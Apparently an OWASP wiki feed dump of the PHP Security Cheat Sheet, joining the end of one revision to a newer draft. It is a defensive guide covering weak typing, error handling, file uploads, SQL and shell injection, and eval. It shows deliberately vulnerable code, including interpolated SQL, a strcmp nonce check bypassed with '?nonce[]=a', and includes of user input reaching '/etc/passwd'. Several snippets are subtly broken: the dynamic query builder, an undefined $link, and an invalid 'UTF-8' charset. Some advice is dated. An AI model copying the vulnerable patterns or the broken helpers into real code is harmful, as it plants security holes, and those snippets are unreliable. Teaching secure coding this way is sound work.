* '''Never store username/password or any relevant information in the cookie.'''&lt;br /&gt;
&lt;br /&gt;
=Access Control Cheat Sheet=&lt;br /&gt;
This section aims to mitigate access control issues, as well as '''Insecure Direct Object Reference''' issues. &lt;br /&gt;
&lt;br /&gt;
=Cryptography Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
=File Inclusion Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Configuration and Deployment Cheat Sheet=&lt;br /&gt;
Please see [[PHP Configuration Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
=Sources of Taint=&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= OLD. PHP General Guidelines for Secure Web Applications  =&lt;br /&gt;
&lt;br /&gt;
== PHP Version ==&lt;br /&gt;
Use '''PHP 5.3.8'''. Stable versions are always safer then the beta ones. &lt;br /&gt;
&lt;br /&gt;
== Framework==&lt;br /&gt;
Use a framework like '''Zend''' or '''Symfony'''. Try not to re-write the code again and again. Also avoid dead codes. &lt;br /&gt;
&lt;br /&gt;
== Directory==&lt;br /&gt;
Code with most of your code outside of the webroot. This is automatic for Symfony and Zend. Stick to these frameworks. &lt;br /&gt;
&lt;br /&gt;
== Hashing Extension ==&lt;br /&gt;
Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256&lt;br /&gt;
&lt;br /&gt;
== Cryptographic Extension ==&lt;br /&gt;
Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.&lt;br /&gt;
&lt;br /&gt;
== Authentication and Authorization ==&lt;br /&gt;
There is no authentication or authorization classes in native PHP. Use '''ZF''' or '''Symfony''' instead.&lt;br /&gt;
&lt;br /&gt;
== Input nput validation ==&lt;br /&gt;
Use $_dirty['foo'] = $_GET['foo'] and then $foo = validate_foo($dirty['foo']); &lt;br /&gt;
&lt;br /&gt;
== Use PDO or ORM ==&lt;br /&gt;
Use PDO with prepared statements or an ORM like Doctrine&lt;br /&gt;
&lt;br /&gt;
== Use PHP Unit and Jenkins ==&lt;br /&gt;
When developing PHP code, make sure you develop with PHP Unit and Jenkins - see http://qualityassuranceinphpprojects.com/pages/tools.html for more details.&lt;br /&gt;
&lt;br /&gt;
== Use Stefan Esser's Hardened PHP Patch ==&lt;br /&gt;
Consider using Stefan Esser's Hardened PHP patch - http://www.hardened-php.net/suhosin/index.html &lt;br /&gt;
(not maintained now, but the concepts are very powerful)&lt;br /&gt;
&lt;br /&gt;
== Avoid Global Variables==&lt;br /&gt;
In terms of secure coding with PHP, do not use globals unless absolutely necessary &lt;br /&gt;
Check your php.ini to ensure register_globals is off Do not run at all with this setting enabled It's extremely dangerous (register_globals has been disabled since 5.0 / 2006, but .... most PHP 4 code needs it, so many hosters have it turned on)&lt;br /&gt;
&lt;br /&gt;
== Protection against RFI==&lt;br /&gt;
Ensure allow_url_fopen and allow_url_include are both disabled to protect against RFI  But don't cause issues by using the pattern include $user_supplied_data or require &amp;quot;base&amp;quot; + $user_supplied_data - it's just unsafe as you can input /etc/passwd and PHP will try to include it&lt;br /&gt;
&lt;br /&gt;
== Regexes (!)==&lt;br /&gt;
Watch for executable regexes (!) &lt;br /&gt;
&lt;br /&gt;
== Session Rotation ==&lt;br /&gt;
Session rotation is very easy - just after authentication, plonk in session_regenerate_id() and you‘re done.&lt;br /&gt;
&lt;br /&gt;
== Be aware of PHP filters ==&lt;br /&gt;
PHP filters can be tricky and complex. Be extra-conscious when using them. &lt;br /&gt;
&lt;br /&gt;
== Logging ==&lt;br /&gt;
Set display_errors to 0, and set up logging to go to a file you control, or at least syslog. This is the most commonly neglected area of PHP configuration&lt;br /&gt;
&lt;br /&gt;
== Output encoding ==&lt;br /&gt;
Output encoding is entirely up to you. Just do it, ESAPI for PHP is ready for this job.&lt;br /&gt;
&lt;br /&gt;
These are transparent to you and you need to know about them. php://input: takes input from the console gzip: takes compressed input and might bypass input validation http://au2.php.net/manual/en/filters.php &lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])&lt;br /&gt;
&lt;br /&gt;
[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]&lt;br /&gt;
&lt;br /&gt;
[mailto:vanderaj@owasp.org Andrew van der Stock]&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Luke Plant</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=182869</id>
		<title>PHP Security Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=182869"/>
				<updated>2014-09-25T07:45:05Z</updated>
		
		<summary type="html">&lt;p&gt;Luke Plant: /* Exceptions and error handling */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= DRAFT CHEAT SHEET - WORK IN PROGRESS =&lt;br /&gt;
= Introduction  =&lt;br /&gt;
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.&lt;br /&gt;
&lt;br /&gt;
==PHP overview==&lt;br /&gt;
&lt;br /&gt;
PHP is the most commonly used server-side programming language, with 81.8% of web servers deploying it, according to W3 Techs.&lt;br /&gt;
&lt;br /&gt;
An open source technology, PHP is unusual in that it is both a language ''and'' a web framework, with typical web framework features built-in to the latter. Like all web languages, there is also a large community of libraries etc. that contribute to the security (or otherwise) of programming in PHP. All three aspects (language, framework, and libraries) need to be taken into consideration when trying to secure a PHP site.&lt;br /&gt;
&lt;br /&gt;
Serious issues abound in all aspects of PHP, making it difficult to write secure PHP applications. If you’re forced to use PHP, then you must be aware of all its pitfalls.&lt;br /&gt;
&lt;br /&gt;
===Language issues===&lt;br /&gt;
&lt;br /&gt;
====Weak typing====&lt;br /&gt;
&lt;br /&gt;
PHP is weakly typed, which means that it will automatically convert data of an incorrect type into the expected type. This feature very often masks errors by the developer or injections of unexpected data, leading to vulnerabilities (see “Input handling” below for an example).&lt;br /&gt;
&lt;br /&gt;
Try to use functions and operators that do not do implicit type conversions (e.g. &amp;lt;code&amp;gt;===&amp;lt;/code&amp;gt; and not &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt;). Not all operators have strict versions (for example greater than and less than), and many built-in functions (like &amp;lt;code&amp;gt;in_array&amp;lt;/code&amp;gt;) use weakly typed comparison functions by default, making it difficult to write correct code.&lt;br /&gt;
&lt;br /&gt;
====Exceptions and error handling====&lt;br /&gt;
&lt;br /&gt;
Almost all PHP builtins, and many PHP libraries, do not use exceptions, but instead report errors in other ways (such as via notices) that allow the faulty code to carry on running. This has the effect of masking many bugs. In other languages, error conditions that are caused by developer errors will cause the program to stop running, which is the safest thing to do.&lt;br /&gt;
&lt;br /&gt;
Consider the following code which limits attempts to limit access to a certain function using a database query that checks to see if the username is on a black list:&lt;br /&gt;
&lt;br /&gt;
    $db_link = mysqli_connect('localhost', 'dbuser', 'dbpassword', 'dbname');&lt;br /&gt;
&lt;br /&gt;
    function can_access_feature($current_user) {&lt;br /&gt;
        global $db_link;&lt;br /&gt;
        $username = mysqli_real_escape_string($link, $current_user-&amp;gt;username);&lt;br /&gt;
        $res = mysqli_query($link, &amp;quot;SELECT COUNT(id) FROM blacklisted_users WHERE username = '$username';&amp;quot;);&lt;br /&gt;
        $row = mysqli_fetch_array($res);&lt;br /&gt;
        if ((int)$row[0] &amp;gt; 0) {&lt;br /&gt;
            return false;&lt;br /&gt;
        } else {&lt;br /&gt;
            return true;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    if (!can_access_feature($current_user)) {&lt;br /&gt;
        exit();&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    // Code for feature here&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There are various runtime errors that could occur in this - for example, the database connection could fail, due to a wrong password or the server being down etc., or the connection could be closed by the server after it was opened client side. In these cases, by default the &amp;lt;code&amp;gt;mysqli_&amp;lt;/code&amp;gt; functions will issue warnings or notices, but will not throw exceptions or fatal errors. This means that the code simply carries on! The variable &amp;lt;code&amp;gt;$row&amp;lt;/code&amp;gt; becomes &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt;, and PHP will evaluate &amp;lt;code&amp;gt;$row[0]&amp;lt;/code&amp;gt; also as &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt;, and &amp;lt;code&amp;gt;(int)$row[0]&amp;lt;/code&amp;gt; as &amp;lt;code&amp;gt;0&amp;lt;/code&amp;gt;, due to weak typing. Eventually the &amp;lt;code&amp;gt;can_access_feature&amp;lt;/code&amp;gt; function returns &amp;lt;code&amp;gt;true&amp;lt;/code&amp;gt;, giving access to all users, whether they are on the blacklist or not.&lt;br /&gt;
&lt;br /&gt;
The correct way to deal with this is to add error checking at every point. However, since this requires additional work, and is easily missed, this is insecure by default. It also requires a lot of boilerplate. While PHP in some ways appears to be a high-level language, when it comes to errors it is a low-level language like C, and requires diligent checking of many possibly error conditions. This makes it much harder to write secure code using PHP than with other high-level languages that are normally used for web development.&lt;br /&gt;
&lt;br /&gt;
It is often best to turn up error reporting as high as possible using the&lt;br /&gt;
[http://www.php.net/manual/en/function.error-reporting.php error_reporting] function, and never attempt to suppress error messages — always follow the warnings and write code that is more robust.&lt;br /&gt;
&lt;br /&gt;
====php.ini====&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP code often depends strongly on the values of many configuration settings, including fundamental changes to things like how errors are handled. This can make it very difficult to write code that works correctly in all circumstances. Different libraries can have different expectations or requirements about these settings, making it difficult to correctly use 3rd party code. Some are mentioned below under “Configuration.”&lt;br /&gt;
&lt;br /&gt;
====Unhelpful builtins====&lt;br /&gt;
&lt;br /&gt;
PHP comes with many built-in functions, such as &amp;lt;code&amp;gt;addslashes&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mysql_escape_string&amp;lt;/code&amp;gt; and&lt;br /&gt;
&amp;lt;code&amp;gt;mysql_real_escape_string&amp;lt;/code&amp;gt;, that appear to provide security, but are often buggy and, in fact, are unhelpful ways to deal with security problems.&lt;br /&gt;
&lt;br /&gt;
Some of these built-ins are being deprecated and removed, but due to backwards compatibility policies this takes a long time.&lt;br /&gt;
&lt;br /&gt;
===Framework issues===&lt;br /&gt;
&lt;br /&gt;
====URL routing====&lt;br /&gt;
&lt;br /&gt;
PHP’s built-in URL routing mechanism is to use files ending in “.php” in the directory structure. This opens up several vulnerabilities:&lt;br /&gt;
&lt;br /&gt;
* Remote execution vulnerability for every file upload feature that does not sanitise the filename. Ensure that when saving uploaded files, the content and filename are appropriately sanitised.&lt;br /&gt;
&lt;br /&gt;
* Source code, including config files, are stored in publicly accessible directories along with files that are meant to be downloaded (such as static  assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. You can use &amp;lt;code&amp;gt;.htaccess&amp;lt;/code&amp;gt; to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.&lt;br /&gt;
&lt;br /&gt;
====Input handling====&lt;br /&gt;
&lt;br /&gt;
Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a &amp;quot;one time nonce&amp;quot; mechanism that might be used, for example in a password reset code:&lt;br /&gt;
&lt;br /&gt;
    $supplied_nonce = $_GET['nonce'];&lt;br /&gt;
    $correct_nonce = get_correct_value_somehow();&lt;br /&gt;
    &lt;br /&gt;
    if (strcmp($supplied_nonce, $correct_nonce) == 0) {&lt;br /&gt;
        // Go ahead and reset the password&lt;br /&gt;
    } else {&lt;br /&gt;
        echo 'Sorry, incorrect link';&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
If an attacker uses a querystring like this:&lt;br /&gt;
&lt;br /&gt;
    http://example.com/?nonce[]=a&lt;br /&gt;
&lt;br /&gt;
then we end up with &amp;lt;code&amp;gt;$supplied_nonce&amp;lt;/code&amp;gt; being an array. The function &amp;lt;code&amp;gt;strcmp()&amp;lt;/code&amp;gt; will then return &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt; (instead of throwing an exception, which would be much more useful), and then, due to weak typing and the use of the &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt; (equality) operator instead of the &amp;lt;code&amp;gt;===&amp;lt;/code&amp;gt; (identity) operator, the comparison succeeds (since the expression &amp;lt;code&amp;gt;NULL == 0&amp;lt;/code&amp;gt; is true according to PHP), and the attacker will be able to reset the password without providing a correct nonce.&lt;br /&gt;
&lt;br /&gt;
====Template language====&lt;br /&gt;
&lt;br /&gt;
PHP is essentially a template language. However, it doesn't do HTML escaping by&lt;br /&gt;
default, which makes it very problematic for use in a web application - see&lt;br /&gt;
section on XSS below.&lt;br /&gt;
&lt;br /&gt;
====Other inadequacies====&lt;br /&gt;
&lt;br /&gt;
There are other important things that a web framework should supply, such as a&lt;br /&gt;
CSRF protection mechanism that is on by default. Because PHP comes with a&lt;br /&gt;
rudimentary web framework that is functional enough to allow people to create&lt;br /&gt;
web sites, many people will do so without any knowledge that they need CSRF&lt;br /&gt;
protection.&lt;br /&gt;
&lt;br /&gt;
===Third party PHP code===&lt;br /&gt;
&lt;br /&gt;
Libraries and projects written in PHP are often insecure due to the problems&lt;br /&gt;
highlighted above, especially when proper web frameworks are not used. Do not&lt;br /&gt;
trust PHP code that you find on the web, as many security vulnerabilities can&lt;br /&gt;
hide in seemingly innocent code.&lt;br /&gt;
&lt;br /&gt;
Poorly written PHP code often results in warnings being emitted, which can cause&lt;br /&gt;
problems. A common solution is to turn off all notices, which is exactly the opposite&lt;br /&gt;
of what ought to be done (see above), and leads to progressively worse code.&lt;br /&gt;
&lt;br /&gt;
==Update PHP Now==&lt;br /&gt;
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''&lt;br /&gt;
&lt;br /&gt;
Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.&lt;br /&gt;
&lt;br /&gt;
=Configuration=&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP is strongly affected by configuration, which can be done through the &amp;quot;php.ini&amp;quot; file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php&lt;br /&gt;
&lt;br /&gt;
There are many security related configuration options. Some are listed below:&lt;br /&gt;
&lt;br /&gt;
==SetHandler==&lt;br /&gt;
&lt;br /&gt;
PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name &amp;quot;foo.php.txt&amp;quot; will be handled as PHP code, which can be a very serious remote execution vulnerability if &amp;quot;foo.php.txt&amp;quot; was not intended to be executed (e.g. example code) or came from a malicious file upload.&lt;br /&gt;
&lt;br /&gt;
=Untrusted data=&lt;br /&gt;
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.&lt;br /&gt;
&lt;br /&gt;
Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).&lt;br /&gt;
&lt;br /&gt;
==File uploads==&lt;br /&gt;
&lt;br /&gt;
Files received from a user pose various security threats, especially if other users can download these files. In particular:&lt;br /&gt;
&lt;br /&gt;
* Any file served as HTML can be used to do an XSS attack&lt;br /&gt;
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.&lt;br /&gt;
&lt;br /&gt;
Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.&lt;br /&gt;
&lt;br /&gt;
==Common mistakes on the processing of $_FILES array==&lt;br /&gt;
It is common to find code snippets online doing something similar to the following code:&lt;br /&gt;
&lt;br /&gt;
    if ($_FILES['some_name']['type'] == 'image/jpeg') {  &lt;br /&gt;
        //Proceed to accept the file as a valid image&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.&lt;br /&gt;
&lt;br /&gt;
    $finfo = new finfo(FILEINFO_MIME_TYPE);&lt;br /&gt;
    $fileContents = file_get_contents($_FILES['some_name']['tmp_name']);&lt;br /&gt;
    $mimeType = $finfo-&amp;gt;buffer($fileContents);&lt;br /&gt;
&lt;br /&gt;
Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.&lt;br /&gt;
&lt;br /&gt;
==Use of $_REQUEST==&lt;br /&gt;
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.&lt;br /&gt;
&lt;br /&gt;
=Database Cheat Sheet=&lt;br /&gt;
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:&lt;br /&gt;
&lt;br /&gt;
==Never concatenate or interpolate data in SQL==&lt;br /&gt;
&lt;br /&gt;
Never build up a string of SQL that includes user data, either by concatenation:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '&amp;quot; . $username . &amp;quot;';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
or interpolation, which is essentially the same:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '$username';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.&lt;br /&gt;
&lt;br /&gt;
==Escaping is not safe== &lt;br /&gt;
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.&lt;br /&gt;
&lt;br /&gt;
'''Why:'''&lt;br /&gt;
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).&lt;br /&gt;
&lt;br /&gt;
==Use Prepared Statements==&lt;br /&gt;
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====MySQLi Prepared Statements Wrapper====&lt;br /&gt;
The following function, performs a SQL query, returns its results as a 2D array (if query was SELECT) and does all that with prepared statements using MySQLi fast MySQL interface:&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
    function SQL($Query) {&lt;br /&gt;
        global $DB;&lt;br /&gt;
        $args = func_get_args();&lt;br /&gt;
        if (count($args) == 1) {&lt;br /&gt;
            $result = $DB-&amp;gt;query($Query);&lt;br /&gt;
            if ($result-&amp;gt;num_rows) {&lt;br /&gt;
                $out = array();&lt;br /&gt;
                while (null != ($r = $result-&amp;gt;fetch_array(MYSQLI_ASSOC)))&lt;br /&gt;
                    $out [] = $r;&lt;br /&gt;
                return $out;&lt;br /&gt;
            }&lt;br /&gt;
            return null;&lt;br /&gt;
        } else {&lt;br /&gt;
            if (!$stmt = $DB-&amp;gt;prepare($Query))&lt;br /&gt;
                trigger_error(&amp;quot;Unable to prepare statement: {$Query}, reason: &amp;quot; . $DB-&amp;gt;error . &amp;quot;&amp;quot;);&lt;br /&gt;
            array_shift($args); //remove $Query from args&lt;br /&gt;
            //the following three lines are the only way to copy an array values in PHP&lt;br /&gt;
            $a = array();&lt;br /&gt;
            foreach ($args as $k =&amp;gt; &amp;amp;$v)&lt;br /&gt;
                $a[$k] = &amp;amp;$v;&lt;br /&gt;
            $types = str_repeat(&amp;quot;s&amp;quot;, count($args)); //all params are strings, works well on MySQL and SQLite&lt;br /&gt;
            array_unshift($a, $types);&lt;br /&gt;
            call_user_func_array(array($stmt, 'bind_param'), $a);&lt;br /&gt;
            $stmt-&amp;gt;execute();&lt;br /&gt;
            //fetching all results in a 2D array&lt;br /&gt;
            $metadata = $stmt-&amp;gt;result_metadata();&lt;br /&gt;
            $out = array();&lt;br /&gt;
            $fields = array();&lt;br /&gt;
            if (!$metadata)&lt;br /&gt;
                return null;&lt;br /&gt;
            $length = 0;&lt;br /&gt;
            while (null != ($field = mysqli_fetch_field($metadata))) {&lt;br /&gt;
                $fields [] = &amp;amp;$out [$field-&amp;gt;name];&lt;br /&gt;
                $length+=$field-&amp;gt;length;&lt;br /&gt;
            }&lt;br /&gt;
            call_user_func_array(array(&lt;br /&gt;
                $stmt, &amp;quot;bind_result&amp;quot;&lt;br /&gt;
                    ), $fields);&lt;br /&gt;
            $output = array();&lt;br /&gt;
            $count = 0;&lt;br /&gt;
            while ($stmt-&amp;gt;fetch()) {&lt;br /&gt;
                foreach ($out as $k =&amp;gt; $v)&lt;br /&gt;
                    $output [$count] [$k] = $v;&lt;br /&gt;
                $count++;&lt;br /&gt;
            }&lt;br /&gt;
            $stmt-&amp;gt;free_result();&lt;br /&gt;
            return ($count == 0) ? null : $output;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Now you could do your every query like the example below:&lt;br /&gt;
&lt;br /&gt;
 $res=SQL(&amp;quot;SELECT * FROM users WHERE ID&amp;gt;? ORDER BY ? ASC LIMIT ?&amp;quot; , 5 , &amp;quot;Username&amp;quot; , 2);&lt;br /&gt;
&lt;br /&gt;
Every instance of ? is bound with an argument of the list, not ''replaced'' with it. MySQL 5.5+ supports ? as ORDER BY and LIMIT clause specifiers. If you're using a database that doesn't support them, see next section.&lt;br /&gt;
&lt;br /&gt;
'''REMEMBER:''' When you use this approach, you should ''NEVER'' concat strings for a SQL query.&lt;br /&gt;
&lt;br /&gt;
====PDO Prepared Statement Wrapper====&lt;br /&gt;
The following function, does the same thing as the above function but using PDO. You can use it with every PDO supported driver.&lt;br /&gt;
&lt;br /&gt;
    try {&lt;br /&gt;
        $DB = new PDO(&amp;quot;{$Driver}:dbname={$DatabaseName};host={$Host};&amp;quot;, $Username, $Password);&lt;br /&gt;
    } catch (Exception $e) {&lt;br /&gt;
        trigger_error(&amp;quot;PDO connection error: &amp;quot; . $e-&amp;gt;getMessage());&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    function SQL($Query) {&lt;br /&gt;
        global $DB;&lt;br /&gt;
        $args = func_get_args();&lt;br /&gt;
        if (count($args) == 1) {&lt;br /&gt;
            $result = $DB-&amp;gt;query($Query);&lt;br /&gt;
            if ($result-&amp;gt;rowCount()) {&lt;br /&gt;
                return $result-&amp;gt;fetchAll(PDO::FETCH_ASSOC);&lt;br /&gt;
            }&lt;br /&gt;
            return null;&lt;br /&gt;
        } else {&lt;br /&gt;
            if (!$stmt = $DB-&amp;gt;prepare($Query)) {&lt;br /&gt;
                $Error = $DB-&amp;gt;errorInfo();&lt;br /&gt;
                trigger_error(&amp;quot;Unable to prepare statement: {$Query}, reason: {$Error[2]}&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            array_shift($args); //remove $Query from args&lt;br /&gt;
            $i = 0;&lt;br /&gt;
            foreach ($args as &amp;amp;$v)&lt;br /&gt;
                $stmt-&amp;gt;bindValue(++$i, $v);&lt;br /&gt;
            $stmt-&amp;gt;execute();&lt;br /&gt;
            return $stmt-&amp;gt;fetchAll(PDO::FETCH_ASSOC);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
 $res=SQL(&amp;quot;SELECT * FROM users WHERE ID&amp;gt;? ORDER BY ? ASC LIMIT 5&amp;quot; , 5 , &amp;quot;Username&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
===Where prepared statements do not work===&lt;br /&gt;
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you need to do two things:&lt;br /&gt;
&lt;br /&gt;
====Not Supported Fields====&lt;br /&gt;
When some field does not support binding (like LIMIT clause in PDO), you need to '''whitelist''' the data you're about to use. LIMIT always requires an integer, so cast the variable to an integer. ORDER BY needs a field name, so whitelist it with field names:&lt;br /&gt;
&lt;br /&gt;
    function whitelist($Needle,$Haystack)&lt;br /&gt;
    {&lt;br /&gt;
       if (!in_array($Needle,$Haystack))&lt;br /&gt;
          return reset($Haystack); //first element&lt;br /&gt;
       return $Needle;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    $Limit = $_GET['lim'];&lt;br /&gt;
    $Limit = $Limit * 1; //type cast, integers are safe&lt;br /&gt;
&lt;br /&gt;
    $Order = $_GET['sort'];&lt;br /&gt;
    $Order=whitelist($Order,Array(&amp;quot;ID&amp;quot;,&amp;quot;Username&amp;quot;,&amp;quot;Password&amp;quot;));&lt;br /&gt;
&lt;br /&gt;
This is very important. If you think you're tired and you rather blacklist than whitelist, you’re bound to fail.&lt;br /&gt;
&lt;br /&gt;
====Dynamic Queries====&lt;br /&gt;
Now this is a highly delicate situation. Whenever hackers fail to injection SQL in your common application scenarios, they go for Advanced Search features or similars, because those features rely on dynamic queries and dynamic queries are almost always insecurely implemented.&lt;br /&gt;
&lt;br /&gt;
When you're building a dynamic query, the only way is whitelisting. Whitelist every field name, every boolean operator (it should be OR or AND, nothing else) and after building your query, use prepared statements:&lt;br /&gt;
&lt;br /&gt;
    $Query=&amp;quot;SELECT * FROM table WHERE &amp;quot;;&lt;br /&gt;
    foreach ($_GET['fields'] as $g)&lt;br /&gt;
        $Query.=whitelist($g,Array(&amp;quot;list&amp;quot;,&amp;quot;of&amp;quot;,&amp;quot;possible&amp;quot;,&amp;quot;fields&amp;quot;,&amp;quot;here&amp;quot;)).&amp;quot;=?&amp;quot;;&lt;br /&gt;
    $Values=$_GET['values'];&lt;br /&gt;
    array_unshift($Query); //add to the beginning&lt;br /&gt;
    $res=call_user_func_array(SQL, $Values);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==ORM==&lt;br /&gt;
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.&lt;br /&gt;
&lt;br /&gt;
==Encoding Issues==&lt;br /&gt;
&lt;br /&gt;
===Use UTF-8 unless necessary===&lt;br /&gt;
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Other Injection Cheat Sheet=&lt;br /&gt;
SQL aside, there are a few more injections possible ''and common'' in PHP:&lt;br /&gt;
&lt;br /&gt;
==Shell Injection==&lt;br /&gt;
A few PHP functions namely&lt;br /&gt;
&lt;br /&gt;
* shell_exec&lt;br /&gt;
* exec&lt;br /&gt;
* passthru&lt;br /&gt;
* system&lt;br /&gt;
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )&lt;br /&gt;
&lt;br /&gt;
run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.&lt;br /&gt;
&lt;br /&gt;
Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Code Injection==&lt;br /&gt;
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().&lt;br /&gt;
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.&lt;br /&gt;
&lt;br /&gt;
Function preg_replace() should not be used with unsanitised user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].&lt;br /&gt;
&lt;br /&gt;
